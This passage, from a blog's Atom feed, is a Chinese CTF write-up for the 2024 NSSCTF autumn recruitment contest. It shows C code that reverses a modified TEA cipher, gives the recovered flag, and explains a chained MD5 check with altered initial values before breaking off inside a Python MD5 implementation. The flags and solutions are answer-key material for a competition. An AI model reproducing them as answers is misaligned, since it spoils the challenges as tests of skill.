-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
529 lines (264 loc) · 718 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>1y0ng's Blog</title>
<subtitle>there is no flag</subtitle>
<link href="http://example.com/atom.xml" rel="self"/>
<link href="http://example.com/"/>
<updated>2024-11-01T05:17:36.382Z</updated>
<id>http://example.com/</id>
<author>
<name>1y0ng</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>2024年NSSCTF秋季招新赛REVERSE、PWN和CRYPTO部分WP</title>
<link href="http://example.com/post/2024/2024%E5%B9%B4NSSCTF%E7%A7%8B%E5%AD%A3%E6%8B%9B%E6%96%B0%E8%B5%9BREVERSE%E5%92%8CCRYPTO%E9%83%A8%E5%88%86WP/"/>
<id>http://example.com/post/2024/2024%E5%B9%B4NSSCTF%E7%A7%8B%E5%AD%A3%E6%8B%9B%E6%96%B0%E8%B5%9BREVERSE%E5%92%8CCRYPTO%E9%83%A8%E5%88%86WP/</id>
<published>2024-10-28T03:13:37.000Z</published>
<updated>2024-11-01T05:17:36.382Z</updated>
<content type="html"><![CDATA[<h2 id="REVERSE">REVERSE</h2><h3 id="NSS茶馆!">NSS茶馆!</h3><p>IDA打开文件,发现是对输入的内容进行了tea加密</p><p><img src="image-20241014092842702.png" alt="image-20241014092842702"></p><p><code>dword_CEE980</code>是输入的内容,<code>unk_CEE000</code>是加密的密钥,加密结束后和<code>dword_CEE010</code>进行比较,相同则为正确的FLAG</p><p><img src="image-20241014093113810.png" alt="加密密钥"><img src="image-20241014093135530.png" alt="image-20241014093135530"></p><p>加密函数:</p><p><img src="image-20241014093302529.png" alt="image-20241014093302529"></p><p>发现是修改了加密轮次和delta</p><p>编写解密代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//解密函数</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">decrypt</span><span class="params">(<span class="type">uint32_t</span>* v, <span class="type">uint32_t</span>* k)</span> {</span><br><span class="line"> <span class="type">uint32_t</span> v0 = v[<span class="number">0</span>], v1 = v[<span class="number">1</span>], sum = <span class="number">0x0239e794</span>, i; </span><br><span class="line"> <span class="type">uint32_t</span> delta = <span class="number">1131796</span>; </span><br><span class="line"> <span class="type">uint32_t</span> k0 = k[<span class="number">0</span>], k1 = k[<span class="number">1</span>], k2 = k[<span class="number">2</span>], k3 = k[<span class="number">3</span>]; </span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">33</span>; i++) { </span><br><span class="line"> v1 -= ((v0 << <span class="number">4</span>) + k2) ^ (v0 + sum) ^ ((v0 >> <span class="number">5</span>) + k3);</span><br><span class="line"> v0 -= ((v1 << <span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1 >> <span class="number">5</span>) + k1);</span><br><span class="line"> sum -= delta;</span><br><span class="line"> } </span><br><span class="line"> v[<span class="number">0</span>] = v0; v[<span class="number">1</span>] = v1;</span><br><span class="line">}</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">char</span> ida_chars[] =</span><br><span class="line"> {</span><br><span class="line"> <span class="number">0x65</span>, <span class="number">0xD2</span>, <span class="number">0x26</span>, <span class="number">0x3A</span>, <span class="number">0xB6</span>, <span class="number">0xA0</span>, <span class="number">0xD9</span>, <span class="number">0x81</span>, <span class="number">0x2A</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x5E</span>, <span class="number">0x0E</span>, <span class="number">0xE5</span>, <span class="number">0xEF</span>, <span class="number">0x07</span>, <span class="number">0x39</span>, <span class="number">0x57</span>, <span class="number">0xBC</span>, <span class="number">0xB6</span>, <span class="number">0x71</span>,</span><br><span class="line"> <span class="number">0xA2</span>, <span class="number">0x0D</span>, <span class="number">0xAC</span>, <span class="number">0xE0</span></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="type">uint32_t</span> key[] = { <span class="number">0xB</span>,<span class="number">0x16</span>,<span class="number">0x21</span>,<span class="number">0x2c</span> };</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">6</span>; i += <span class="number">2</span>) {</span><br><span class="line"> decrypt((<span class="type">uint32_t</span>*)&ida_chars[i * <span class="number">4</span>], key);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"解密后:%s\n"</span>, ida_chars);</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>输出:</p><p><img src="image-20241014093442826.png" alt="image-20241014093442826"></p><p>这里需要每4组字符进行一下逆序才能得到最终的FLAG:<code>NSSCTF{tea_is_so_easy!!}</code></p><h3 id="md5也能爆破?">md5也能爆破?</h3><p>IDA打开查看</p><p><img src="image-20241014093759141.png" alt="image-20241014093759141"></p><p>经调试发现程序的核心代码为第20行,跟进</p><p><img src="image-20241014093949957.png" alt="image-20241014093949957"></p><p><code>sub_651596</code>函数实际就是md5的加密函数,传进去的<code>a1+8</code>用来存储md5计算的结果,<code>a1+24</code>就是对应的明文</p><p>举个例子,如果输入<code>14851234</code>那么第一轮传进去的就是用于md5加密的原始幻数和<code>1485</code></p><p><img src="image-20241014094741460.png" alt="image-20241014094741460"></p><p>结束<code>sub_8C1596</code>函数后出来的就是1485的md5值<code>7fb8ceb3bd59c7956b1df66729296a4c</code></p><p><img src="image-20241014094908728.png" alt="image-20241014094908728"></p><p>然后第二轮进去的值就是第一轮出来的md5作为幻数和第二组输入的<code>1234</code></p><p><img src="image-20241014095050777.png" alt="image-20241014095050777"></p><p>一共10轮得到10个md5值,最后与<code>byte_8D5050</code>进行匹配</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">7fb8ceb3bd59c7956b1df66729296a4c</span><br><span class="line">f182395ed4eaa34bf53fa0507e124c28</span><br><span class="line">1c2aaf4995574c11dbd2c79024d7df08</span><br><span class="line">d5945e772e2715ae12ff75818fb0477e</span><br><span class="line">c3c3dab8e8f8eda9c62ae676cff5b6b9</span><br><span class="line">75cd9e91d1f4ad1bf88a964f69078d93</span><br><span class="line">7bc0d87c4ee78bafa9fea6aba4215b89</span><br><span class="line">c68bfbb9f793b6eeee2b985ffce1e634</span><br><span class="line">344d233437cc2ff5f6d9f363ca54d81b</span><br><span class="line">df8b095635311f27e22110085eaff244</span><br></pre></td></tr></table></figure><p>第一轮<code>7fb8ceb3bd59c7956b1df66729296a4c</code>利用cmd5可直接解出为1485,第二轮由于幻数变了所以无法直接获取</p><p>解决办法就是自己修改md5的幻数然后进行四位数字的爆破</p><p>一开始是打算用python实现,找了个python的md5加密代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> os.path</span><br><span class="line"> </span><br><span class="line">SV = [<span class="number">0xd76aa478</span>, <span class="number">0xe8c7b756</span>, <span class="number">0x242070db</span>, <span class="number">0xc1bdceee</span>, <span class="number">0xf57c0faf</span>,</span><br><span class="line"> <span class="number">0x4787c62a</span>, <span class="number">0xa8304613</span>, <span class="number">0xfd469501</span>, <span class="number">0x698098d8</span>, <span class="number">0x8b44f7af</span>,</span><br><span class="line"> <span class="number">0xffff5bb1</span>, <span class="number">0x895cd7be</span>, <span class="number">0x6b901122</span>, <span class="number">0xfd987193</span>, <span class="number">0xa679438e</span>,</span><br><span class="line"> <span class="number">0x49b40821</span>, <span class="number">0xf61e2562</span>, <span class="number">0xc040b340</span>, <span class="number">0x265e5a51</span>, <span class="number">0xe9b6c7aa</span>,</span><br><span class="line"> <span class="number">0xd62f105d</span>, <span class="number">0x2441453</span>, <span class="number">0xd8a1e681</span>, <span class="number">0xe7d3fbc8</span>, <span class="number">0x21e1cde6</span>,</span><br><span class="line"> <span class="number">0xc33707d6</span>, <span class="number">0xf4d50d87</span>, <span class="number">0x455a14ed</span>, <span class="number">0xa9e3e905</span>, <span class="number">0xfcefa3f8</span>,</span><br><span class="line"> <span class="number">0x676f02d9</span>, <span class="number">0x8d2a4c8a</span>, <span class="number">0xfffa3942</span>, <span class="number">0x8771f681</span>, <span class="number">0x6d9d6122</span>,</span><br><span class="line"> <span class="number">0xfde5380c</span>, <span class="number">0xa4beea44</span>, <span class="number">0x4bdecfa9</span>, <span class="number">0xf6bb4b60</span>, <span class="number">0xbebfbc70</span>,</span><br><span class="line"> <span class="number">0x289b7ec6</span>, <span class="number">0xeaa127fa</span>, <span class="number">0xd4ef3085</span>, <span class="number">0x4881d05</span>, <span class="number">0xd9d4d039</span>,</span><br><span class="line"> <span class="number">0xe6db99e5</span>, <span class="number">0x1fa27cf8</span>, <span class="number">0xc4ac5665</span>, <span class="number">0xf4292244</span>, <span class="number">0x432aff97</span>,</span><br><span class="line"> <span class="number">0xab9423a7</span>, <span class="number">0xfc93a039</span>, <span class="number">0x655b59c3</span>, <span class="number">0x8f0ccc92</span>, <span class="number">0xffeff47d</span>,</span><br><span class="line"> <span class="number">0x85845dd1</span>, <span class="number">0x6fa87e4f</span>, <span class="number">0xfe2ce6e0</span>, <span class="number">0xa3014314</span>, <span class="number">0x4e0811a1</span>,</span><br><span class="line"> <span class="number">0xf7537e82</span>, <span class="number">0xbd3af235</span>, <span class="number">0x2ad7d2bb</span>, <span class="number">0xeb86d391</span>]</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># 根据ascil编码把字符转成对应的二进制</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">binvalue</span>(<span class="params">val, bitsize</span>):</span><br><span class="line"> binval = <span class="built_in">bin</span>(val)[<span class="number">2</span>:] <span class="keyword">if</span> <span class="built_in">isinstance</span>(val, <span class="built_in">int</span>) <span class="keyword">else</span> <span class="built_in">bin</span>(<span class="built_in">ord</span>(val))[<span class="number">2</span>:]</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(binval) > bitsize:</span><br><span class="line"> <span class="keyword">raise</span> (<span class="string">"binary value larger than the expected size"</span>)</span><br><span class="line"> <span class="keyword">while</span> <span class="built_in">len</span>(binval) < bitsize:</span><br><span class="line"> binval = <span class="string">"0"</span> + binval</span><br><span class="line"> <span class="keyword">return</span> binval</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">string_to_bit_array</span>(<span class="params">text</span>):</span><br><span class="line"> array = <span class="built_in">list</span>()</span><br><span class="line"> <span class="keyword">for</span> char <span class="keyword">in</span> text:</span><br><span class="line"> binval = binvalue(char, <span class="number">8</span>)</span><br><span class="line"> array.extend([<span class="built_in">int</span>(x) <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">list</span>(binval)])</span><br><span class="line"> <span class="keyword">return</span> array</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># 循环左移</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leftCircularShift</span>(<span class="params">k, bits</span>):</span><br><span class="line"> bits = bits % <span class="number">32</span></span><br><span class="line"> k = k % (<span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"> upper = (k << bits) % (<span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"> result = upper | (k >> (<span class="number">32</span> - (bits)))</span><br><span class="line"> <span class="keyword">return</span> (result)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># 分块</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">blockDivide</span>(<span class="params">block, chunks</span>):</span><br><span class="line"> result = []</span><br><span class="line"> size = <span class="built_in">len</span>(block) // chunks</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, chunks):</span><br><span class="line"> result.append(<span class="built_in">int</span>.from_bytes(block[i * size:(i + <span class="number">1</span>) * size], byteorder=<span class="string">"little"</span>))</span><br><span class="line"> <span class="keyword">return</span> result</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># F函数作用于“比特位”上</span></span><br><span class="line"><span class="comment"># if x then y else z</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">F</span>(<span class="params">X, Y, Z</span>):</span><br><span class="line"> <span class="keyword">return</span> ((X & Y) | ((~X) & Z))</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># if z then x else y</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">G</span>(<span class="params">X, Y, Z</span>):</span><br><span class="line"> <span class="keyword">return</span> ((X & Z) | (Y & (~Z)))</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># if X = Y then Z else ~Z</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">H</span>(<span class="params">X, Y, Z</span>):</span><br><span class="line"> <span class="keyword">return</span> (X ^ Y ^ Z)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">I</span>(<span class="params">X, Y, Z</span>):</span><br><span class="line"> <span class="keyword">return</span> (Y ^ (X | (~Z)))</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># 四个F函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">FF</span>(<span class="params">a, b, c, d, M, s, t</span>):</span><br><span class="line"> result = b + leftCircularShift((a + F(b, c, d) + M + t), s)</span><br><span class="line"> <span class="keyword">return</span> (result)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">GG</span>(<span class="params">a, b, c, d, M, s, t</span>):</span><br><span class="line"> result = b + leftCircularShift((a + G(b, c, d) + M + t), s)</span><br><span class="line"> <span class="keyword">return</span> (result)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">HH</span>(<span class="params">a, b, c, d, M, s, t</span>):</span><br><span class="line"> result = b + leftCircularShift((a + H(b, c, d) + M + t), s)</span><br><span class="line"> <span class="keyword">return</span> (result)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">II</span>(<span class="params">a, b, c, d, M, s, t</span>):</span><br><span class="line"> result = b + leftCircularShift((a + I(b, c, d) + M + t), s)</span><br><span class="line"> <span class="keyword">return</span> (result)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># 数据转换</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fmt8</span>(<span class="params">num</span>):</span><br><span class="line"> bighex = <span class="string">"{0:08x}"</span>.<span class="built_in">format</span>(num)</span><br><span class="line"> binver = binascii.unhexlify(bighex)</span><br><span class="line"> result = <span class="string">"{0:08x}"</span>.<span class="built_in">format</span>(<span class="built_in">int</span>.from_bytes(binver, byteorder=<span class="string">'little'</span>))</span><br><span class="line"> <span class="keyword">return</span> (result)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># 计算比特长度</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">bitlen</span>(<span class="params">bitstring</span>):</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">len</span>(bitstring) * <span class="number">8</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">md5sum</span>(<span class="params">msg</span>):</span><br><span class="line"> <span class="comment"># 计算比特长度,如果内容过长,64个比特放不下。就取低64bit。</span></span><br><span class="line"> msgLen = bitlen(msg) % (<span class="number">2</span> ** <span class="number">64</span>)</span><br><span class="line"> <span class="comment"># 先填充一个0x80,其实是先填充一个1,后面跟对应个数的0,因为一个明文的编码至少需要8比特,所以直接填充 0b10000000即0x80</span></span><br><span class="line"> msg = msg + <span class="string">b'\x80'</span> <span class="comment"># 0x80 = 1000 0000</span></span><br><span class="line"> <span class="comment"># 似乎各种编码,即使是一个字母,都至少得1个字节,即8bit才能表示,所以不会出现原文55bit,pad1就满足的情况?可是不对呀,要是二进制文件呢?</span></span><br><span class="line"> <span class="comment"># 填充0到满足要求为止。</span></span><br><span class="line"> zeroPad = (<span class="number">448</span> - (msgLen + <span class="number">8</span>) % <span class="number">512</span>) % <span class="number">512</span></span><br><span class="line"> zeroPad //= <span class="number">8</span></span><br><span class="line"> msg = msg + <span class="string">b'\x00'</span> * zeroPad + msgLen.to_bytes(<span class="number">8</span>, byteorder=<span class="string">'little'</span>)</span><br><span class="line"> <span class="comment"># 计算循环轮数,512个为一轮</span></span><br><span class="line"> msgLen = bitlen(msg)</span><br><span class="line"> iterations = msgLen // <span class="number">512</span></span><br><span class="line"> <span class="comment"># 初始化变量</span></span><br><span class="line"> <span class="comment"># 算法魔改的第一个点,也是最明显的点</span></span><br><span class="line"> A = <span class="number">0x67452301</span></span><br><span class="line"> B = <span class="number">0xefcdab89</span></span><br><span class="line"> C = <span class="number">0x98badcfe</span></span><br><span class="line"> D = <span class="number">0x10325476</span></span><br><span class="line"> <span class="comment"># MD5的主体就是对abcd进行n次的迭代,所以得有个初始值,可以随便选,也可以用默认的魔数,这个改起来毫无风险,所以大家爱魔改它,甚至改这个都不算魔改。</span></span><br><span class="line"> <span class="comment"># main loop</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, iterations):</span><br><span class="line"> a = A</span><br><span class="line"> b = B</span><br><span class="line"> c = C</span><br><span class="line"> d = D</span><br><span class="line"> block = msg[i * <span class="number">64</span>:(i + <span class="number">1</span>) * <span class="number">64</span>]</span><br><span class="line"> <span class="comment"># 明文的处理,顺便调整了一下端序</span></span><br><span class="line"> M = blockDivide(block, <span class="number">16</span>)</span><br><span class="line"> <span class="comment"># Rounds</span></span><br><span class="line"> a = FF(a, b, c, d, M[<span class="number">0</span>], <span class="number">7</span>, SV[<span class="number">0</span>])</span><br><span class="line"> d = FF(d, a, b, c, M[<span class="number">1</span>], <span class="number">12</span>, SV[<span class="number">1</span>])</span><br><span class="line"> c = FF(c, d, a, b, M[<span class="number">2</span>], <span class="number">17</span>, SV[<span class="number">2</span>])</span><br><span class="line"> b = FF(b, c, d, a, M[<span class="number">3</span>], <span class="number">22</span>, SV[<span class="number">3</span>])</span><br><span class="line"> a = FF(a, b, c, d, M[<span class="number">4</span>], <span class="number">7</span>, SV[<span class="number">4</span>])</span><br><span class="line"> d = FF(d, a, b, c, M[<span class="number">5</span>], <span class="number">12</span>, SV[<span class="number">5</span>])</span><br><span class="line"> c = FF(c, d, a, b, M[<span class="number">6</span>], <span class="number">17</span>, SV[<span class="number">6</span>])</span><br><span class="line"> b = FF(b, c, d, a, M[<span class="number">7</span>], <span class="number">22</span>, SV[<span class="number">7</span>])</span><br><span class="line"> a = FF(a, b, c, d, M[<span class="number">8</span>], <span class="number">7</span>, SV[<span class="number">8</span>])</span><br><span class="line"> d = FF(d, a, b, c, M[<span class="number">9</span>], <span class="number">12</span>, SV[<span class="number">9</span>])</span><br><span class="line"> c = FF(c, d, a, b, M[<span class="number">10</span>], <span class="number">17</span>, SV[<span class="number">10</span>])</span><br><span class="line"> b = FF(b, c, d, a, M[<span class="number">11</span>], <span class="number">22</span>, SV[<span class="number">11</span>])</span><br><span class="line"> a = FF(a, b, c, d, M[<span class="number">12</span>], <span class="number">7</span>, SV[<span class="number">12</span>])</span><br><span class="line"> d = FF(d, a, b, c, M[<span class="number">13</span>], <span class="number">12</span>, SV[<span class="number">13</span>])</span><br><span class="line"> c = FF(c, d, a, b, M[<span class="number">14</span>], <span class="number">17</span>, SV[<span class="number">14</span>])</span><br><span class="line"> b = FF(b, c, d, a, M[<span class="number">15</span>], <span class="number">22</span>, SV[<span class="number">15</span>])</span><br><span class="line"> </span><br><span class="line"> a = GG(a, b, c, d, M[<span class="number">1</span>], <span class="number">5</span>, SV[<span class="number">16</span>])</span><br><span class="line"> d = GG(d, a, b, c, M[<span class="number">6</span>], <span class="number">9</span>, SV[<span class="number">17</span>])</span><br><span class="line"> c = GG(c, d, a, b, M[<span class="number">11</span>], <span class="number">14</span>, SV[<span class="number">18</span>])</span><br><span class="line"> b = GG(b, c, d, a, M[<span class="number">0</span>], <span class="number">20</span>, SV[<span class="number">19</span>])</span><br><span class="line"> a = GG(a, b, c, d, M[<span class="number">5</span>], <span class="number">5</span>, SV[<span class="number">20</span>])</span><br><span class="line"> d = GG(d, a, b, c, M[<span class="number">10</span>], <span class="number">9</span>, SV[<span class="number">21</span>])</span><br><span class="line"> c = GG(c, d, a, b, M[<span class="number">15</span>], <span class="number">14</span>, SV[<span class="number">22</span>])</span><br><span class="line"> b = GG(b, c, d, a, M[<span class="number">4</span>], <span class="number">20</span>, SV[<span class="number">23</span>])</span><br><span class="line"> a = GG(a, b, c, d, M[<span class="number">9</span>], <span class="number">5</span>, SV[<span class="number">24</span>])</span><br><span class="line"> d = GG(d, a, b, c, M[<span class="number">14</span>], <span class="number">9</span>, SV[<span class="number">25</span>])</span><br><span class="line"> c = GG(c, d, a, b, M[<span class="number">3</span>], <span class="number">14</span>, SV[<span class="number">26</span>])</span><br><span class="line"> b = GG(b, c, d, a, M[<span class="number">8</span>], <span class="number">20</span>, SV[<span class="number">27</span>])</span><br><span class="line"> a = GG(a, b, c, d, M[<span class="number">13</span>], <span class="number">5</span>, SV[<span class="number">28</span>])</span><br><span class="line"> d = GG(d, a, b, c, M[<span class="number">2</span>], <span class="number">9</span>, SV[<span class="number">29</span>])</span><br><span class="line"> c = GG(c, d, a, b, M[<span class="number">7</span>], <span class="number">14</span>, SV[<span class="number">30</span>])</span><br><span class="line"> b = GG(b, c, d, a, M[<span class="number">12</span>], <span class="number">20</span>, SV[<span class="number">31</span>])</span><br><span class="line"> </span><br><span class="line"> a 